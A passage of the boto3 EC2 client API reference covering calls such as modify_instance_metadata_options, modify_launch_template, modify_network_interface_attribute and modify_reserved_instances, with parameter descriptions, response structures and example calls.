Capacity Reservation settings for a stopped instance. Use this action to configure an instance to target a specific Capacity Reservation, run in any open Capacity Reservation with matching attributes, or run On-Demand Instance capacity. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyInstanceCapacityReservationAttributes) + +**Request Syntax** + +response = client.modify_instance_capacity_reservation_attributes( + InstanceId='string', + CapacityReservationSpecification={ + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + DryRun=True|False +) + +Parameters + +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance to be modified. + +* **CapacityReservationSpecification** (_dict_) -- + + **[REQUIRED]** + + Information about the Capacity Reservation targeting option. + + * **CapacityReservationPreference** _(string) --_ + + Indicates the instance's Capacity Reservation preferences. Possible preferences include: + + * open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + * none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs as an On-Demand Instance. + * **CapacityReservationTarget** _(dict) --_ + + Information about the target Capacity Reservation or Capacity Reservation group. + + * **CapacityReservationId** _(string) --_ + + The ID of the Capacity Reservation in which to run the instance. + + * **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the Capacity Reservation resource group in which to run the instance. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +modify_instance_credit_specification(kwargs_) + +Modifies the credit option for CPU usage on a running or stopped burstable performance instance. The credit options are standard and unlimited . + +For more information, see [Burstable performance instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-performance-instances.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyInstanceCreditSpecification) + +**Request Syntax** + +response = client.modify_instance_credit_specification( + DryRun=True|False, + ClientToken='string', + InstanceCreditSpecifications=[ + { + 'InstanceId': 'string', + 'CpuCredits': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ClientToken** (_string_) -- A unique, case-sensitive token that you provide to ensure idempotency of your modification request. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . +* **InstanceCreditSpecifications** (_list_) -- + + **[REQUIRED]** + + Information about the credit option for CPU usage. + + * _(dict) --_ + + Describes the credit option for CPU usage of a burstable performance instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **CpuCredits** _(string) --_ + + The credit option for CPU usage of the instance. Valid values are standard and unlimited . + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SuccessfulInstanceCreditSpecifications': [ + { + 'InstanceId': 'string' + }, + ], + 'UnsuccessfulInstanceCreditSpecifications': [ + { + 'InstanceId': 'string', + 'Error': { + 'Code': 'InvalidInstanceID.Malformed'|'InvalidInstanceID.NotFound'|'IncorrectInstanceState'|'InstanceCreditSpecification.NotSupported', + 'Message': 'string' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **SuccessfulInstanceCreditSpecifications** _(list) --_ + + Information about the instances whose credit option for CPU usage was successfully modified. + + * _(dict) --_ + + Describes the burstable performance instance whose credit option for CPU usage was successfully modified. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **UnsuccessfulInstanceCreditSpecifications** _(list) --_ + + Information about the instances whose credit option for CPU usage was not modified. + + * _(dict) --_ + + Describes the burstable performance instance whose credit option for CPU usage was not modified. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Error** _(dict) --_ + + The applicable error for the burstable performance instance whose credit option for CPU usage was not modified. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The applicable error message. + + +modify_instance_event_start_time(kwargs_) + +Modifies the start time for a scheduled Amazon EC2 instance event. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyInstanceEventStartTime) + +**Request Syntax** + +response = client.modify_instance_event_start_time( + DryRun=True|False, + InstanceId='string', + InstanceEventId='string', + NotBefore=datetime(2015, 1, 1) +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance with the scheduled event. + +* **InstanceEventId** (_string_) -- + + **[REQUIRED]** + + The ID of the event whose date and time you are modifying. + +* **NotBefore** (_datetime_) -- + + **[REQUIRED]** + + The new date and time when the event will take place. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Event': { + 'InstanceEventId': 'string', + 'Code': 'instance-reboot'|'system-reboot'|'system-maintenance'|'instance-retirement'|'instance-stop', + 'Description': 'string', + 'NotAfter': datetime(2015, 1, 1), + 'NotBefore': datetime(2015, 1, 1), + 'NotBeforeDeadline': datetime(2015, 1, 1) + } +} + +**Response Structure** + +* _(dict) --_ + + * **Event** _(dict) --_ + + Describes a scheduled event for an instance. + + * **InstanceEventId** _(string) --_ + + The ID of the event. + + * **Code** _(string) --_ + + The event code. + + * **Description** _(string) --_ + + A description of the event. + + After a scheduled event is completed, it can still be described for up to a week. If the event has been completed, this description starts with the following text: [Completed]. + + * **NotAfter** _(datetime) --_ + + The latest scheduled end time for the event. + + * **NotBefore** _(datetime) --_ + + The earliest scheduled start time for the event. + + * **NotBeforeDeadline** _(datetime) --_ + + The deadline for starting the event. + + +modify_instance_metadata_options(kwargs_) + +Modify the instance metadata parameters on a running or stopped instance. When you modify the parameters on a stopped instance, they are applied when the instance is started. When you modify the parameters on a running instance, the API responds with a state of “pending”. After the parameter modifications are successfully applied to the instance, the state of the modifications changes from “pending” to “applied” in subsequent describe-instances API calls. For more information, see [Instance metadata and user data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyInstanceMetadataOptions) + +**Request Syntax** + +response = client.modify_instance_metadata_options( + InstanceId='string', + HttpTokens='optional'|'required', + HttpPutResponseHopLimit=123, + HttpEndpoint='disabled'|'enabled', + DryRun=True|False +) + +Parameters + +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + +* **HttpTokens** (_string_) -- + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credential always returns the version 2.0 credentials; the version 1.0 credentials are not available. + +* **HttpPutResponseHopLimit** (_integer_) -- + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. If no parameter is specified, the existing state is maintained. + + Possible values: Integers from 1 to 64 + +* **HttpEndpoint** (_string_) -- + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the existing state is maintained. + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceId': 'string', + 'InstanceMetadataOptions': { + 'State': 'pending'|'applied', + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + } +} + +**Response Structure** + +* _(dict) --_ + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **InstanceMetadataOptions** _(dict) --_ + + The metadata options for the instance. + + * **State** _(string) --_ + + The state of the metadata option changes. + + > pending - The metadata options are being updated and the instance is not ready to process metadata traffic with the new selection. + > + > applied - The metadata options have been successfully applied on the instance. + + * **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credential always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + * **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + * **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + + +modify_instance_placement(kwargs_) + +Modifies the placement attributes for a specified instance. You can do the following: + +* Modify the affinity between an instance and a [Dedicated Host](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/dedicated-hosts-overview.html) . When affinity is set to host and the instance is not associated with a specific Dedicated Host, the next time the instance is launched, it is automatically associated with the host on which it lands. If the instance is restarted or rebooted, this relationship persists. +* Change the Dedicated Host with which an instance is associated. +* Change the instance tenancy of an instance from host to dedicated , or from dedicated to host . +* Move an instance to or from a [placement group](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/placement-groups.html) . + +At least one attribute for affinity, host ID, tenancy, or placement group name must be specified in the request. Affinity and tenancy can be modified in the same request. + +To modify the host ID, tenancy, placement group, or partition for an instance, the instance must be in the stopped state. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyInstancePlacement) + +**Request Syntax** + +response = client.modify_instance_placement( + Affinity='default'|'host', + GroupName='string', + HostId='string', + InstanceId='string', + Tenancy='dedicated'|'host', + PartitionNumber=123, + HostResourceGroupArn='string' +) + +Parameters + +* **Affinity** (_string_) -- The affinity setting for the instance. +* **GroupName** (_string_) -- + + The name of the placement group in which to place the instance. For spread placement groups, the instance must have a tenancy of default . For cluster and partition placement groups, the instance must have a tenancy of default or dedicated . + + To remove an instance from a placement group, specify an empty string (""). + +* **HostId** (_string_) -- The ID of the Dedicated Host with which to associate the instance. +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance that you are modifying. + +* **Tenancy** (_string_) -- The tenancy for the instance. +* **PartitionNumber** (_integer_) -- Reserved for future use. +* **HostResourceGroupArn** (_string_) -- The ARN of the host resource group in which to place the instance. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Is true if the request succeeds, and an error otherwise. + + +modify_launch_template(kwargs_) + +Modifies a launch template. You can specify which version of the launch template to set as the default version. When launching an instance, the default version applies when a launch template version is not specified. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyLaunchTemplate) + +**Request Syntax** + +response = client.modify_launch_template( + DryRun=True|False, + ClientToken='string', + LaunchTemplateId='string', + LaunchTemplateName='string', + DefaultVersion='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier you provide to ensure the idempotency of the request. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + Constraint: Maximum 128 ASCII characters. + +* **LaunchTemplateId** (_string_) -- The ID of the launch template. You must specify either the launch template ID or launch template name in the request. +* **LaunchTemplateName** (_string_) -- The name of the launch template. You must specify either the launch template ID or launch template name in the request. +* **DefaultVersion** (_string_) -- The version number of the launch template to set as the default version. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LaunchTemplate': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'CreateTime': datetime(2015, 1, 1), + 'CreatedBy': 'string', + 'DefaultVersionNumber': 123, + 'LatestVersionNumber': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **LaunchTemplate** _(dict) --_ + + Information about the launch template. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. + + * **CreateTime** _(datetime) --_ + + The time launch template was created. + + * **CreatedBy** _(string) --_ + + The principal that created the launch template. + + * **DefaultVersionNumber** _(integer) --_ + + The version number of the default version of the launch template. + + * **LatestVersionNumber** _(integer) --_ + + The version number of the latest version of the launch template. + + * **Tags** _(list) --_ + + The tags for the launch template. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +**Examples** + +This example specifies version 2 as the default version of the specified launch template. + +response = client.modify_launch_template( + DefaultVersion='2', + LaunchTemplateId='lt-0abcd290751193123', +) + +print(response) + +Expected Output: + +{ + 'LaunchTemplate': { + 'CreateTime': datetime(2017, 12, 1, 13, 35, 46, 4, 335, 0), + 'CreatedBy': 'arn:aws:iam::123456789012:root', + 'DefaultVersionNumber': 2, + 'LatestVersionNumber': 2, + 'LaunchTemplateId': 'lt-0abcd290751193123', + 'LaunchTemplateName': 'WebServers', + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +modify_managed_prefix_list(kwargs_) + +Modifies the specified managed prefix list. + +Adding or removing entries in a prefix list creates a new version of the prefix list. Changing the name of the prefix list does not affect the version. + +If you specify a current version number that does not match the true current version number, the request fails. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyManagedPrefixList) + +**Request Syntax** + +response = client.modify_managed_prefix_list( + DryRun=True|False, + PrefixListId='string', + CurrentVersion=123, + PrefixListName='string', + AddEntries=[ + { + 'Cidr': 'string', + 'Description': 'string' + }, + ], + RemoveEntries=[ + { + 'Cidr': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **PrefixListId** (_string_) -- + + **[REQUIRED]** + + The ID of the prefix list. + +* **CurrentVersion** (_integer_) -- The current version of the prefix list. +* **PrefixListName** (_string_) -- A name for the prefix list. +* **AddEntries** (_list_) -- + + One or more entries to add to the prefix list. + + * _(dict) --_ + + An entry for a prefix list. + + * **Cidr** _(string) --_ **[REQUIRED]** + + The CIDR block. + + * **Description** _(string) --_ + + A description for the entry. + + Constraints: Up to 255 characters in length. + +* **RemoveEntries** (_list_) -- + + One or more entries to remove from the prefix list. + + * _(dict) --_ + + An entry for a prefix list. + + * **Cidr** _(string) --_ **[REQUIRED]** + + The CIDR block. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'PrefixList': { + 'PrefixListId': 'string', + 'AddressFamily': 'string', + 'State': 'create-in-progress'|'create-complete'|'create-failed'|'modify-in-progress'|'modify-complete'|'modify-failed'|'restore-in-progress'|'restore-complete'|'restore-failed'|'delete-in-progress'|'delete-complete'|'delete-failed', + 'StateMessage': 'string', + 'PrefixListArn': 'string', + 'PrefixListName': 'string', + 'MaxEntries': 123, + 'Version': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'OwnerId': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **PrefixList** _(dict) --_ + + Information about the prefix list. + + * **PrefixListId** _(string) --_ + + The ID of the prefix list. + + * **AddressFamily** _(string) --_ + + The IP address version. + + * **State** _(string) --_ + + The state of the prefix list. + + * **StateMessage** _(string) --_ + + The state message. + + * **PrefixListArn** _(string) --_ + + The Amazon Resource Name (ARN) for the prefix list. + + * **PrefixListName** _(string) --_ + + The name of the prefix list. + + * **MaxEntries** _(integer) --_ + + The maximum number of entries for the prefix list. + + * **Version** _(integer) --_ + + The version of the prefix list. + + * **Tags** _(list) --_ + + The tags for the prefix list. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **OwnerId** _(string) --_ + + The ID of the owner of the prefix list. + + +modify_network_interface_attribute(kwargs_) + +Modifies the specified network interface attribute. You can specify only one attribute at a time. You can use this action to attach and detach security groups from an existing EC2 instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyNetworkInterfaceAttribute) + +**Request Syntax** + +response = client.modify_network_interface_attribute( + Attachment={ + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False + }, + Description={ + 'Value': 'string' + }, + DryRun=True|False, + Groups=[ + 'string', + ], + NetworkInterfaceId='string', + SourceDestCheck={ + 'Value': True|False + } +) + +Parameters + +* **Attachment** (_dict_) -- + + Information about the interface attachment. If modifying the 'delete on termination' attribute, you must specify the ID of the interface attachment. + + * **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + +* **Description** (_dict_) -- + + A description for the network interface. + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Groups** (_list_) -- + + Changes the security groups for the network interface. The new set of groups you specify replaces the current set. You must specify at least one group, even if it's just the default security group in the VPC. You must specify the ID of the security group, not the name. + + * _(string) --_ +* **NetworkInterfaceId** (_string_) -- + + **[REQUIRED]** + + The ID of the network interface. + +* **SourceDestCheck** (_dict_) -- + + Indicates whether source/destination checking is enabled. A value of true means checking is enabled, and false means checking is disabled. This value must be false for a NAT instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +Returns + +None + +**Examples** + +This example modifies the attachment attribute of the specified network interface. + +response = client.modify_network_interface_attribute( + Attachment={ + 'AttachmentId': 'eni-attach-43348162', + 'DeleteOnTermination': False, + }, + NetworkInterfaceId='eni-686ea200', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example modifies the description attribute of the specified network interface. + +response = client.modify_network_interface_attribute( + Description={ + 'Value': 'My description', + }, + NetworkInterfaceId='eni-686ea200', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example command modifies the groupSet attribute of the specified network interface. + +response = client.modify_network_interface_attribute( + Groups=[ + 'sg-903004f8', + 'sg-1a2b3c4d', + ], + NetworkInterfaceId='eni-686ea200', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example command modifies the sourceDestCheck attribute of the specified network interface. + +response = client.modify_network_interface_attribute( + NetworkInterfaceId='eni-686ea200', + SourceDestCheck={ + 'Value': False, + }, +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +modify_reserved_instances(kwargs_) + +Modifies the Availability Zone, instance count, instance type, or network platform (EC2-Classic or EC2-VPC) of your Reserved Instances. The Reserved Instances to be modified must be identical, except for Availability Zone, network platform, and instance type. + +For more information, see [Modifying Reserved Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ri-modifying.html) in the Amazon Elastic Compute Cloud User Guide. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyReservedInstances) + +**Request Syntax** + +response = client.modify_reserved_instances( + ReservedInstancesIds=[ + 'string', + ], + ClientToken='string', + TargetConfigurations=[ + { + 'AvailabilityZone': 'string', + 'InstanceCount': 123, + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'Platform': 'string', + 'Scope': 'Availability Zone'|'Region' + }, + ] +) + +Parameters + +* **ReservedInstancesIds** (_list_) -- + + **[REQUIRED]** + + The IDs of the Reserved Instances to modify. + + * _(string) --_ +* **ClientToken** (_string_) -- A unique, case-sensitive token you provide to ensure idempotency of your modification request. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . +* **TargetConfigurations** (_list_) -- + + **[REQUIRED]** + + The configuration settings for the Reserved Instances to modify. + + * 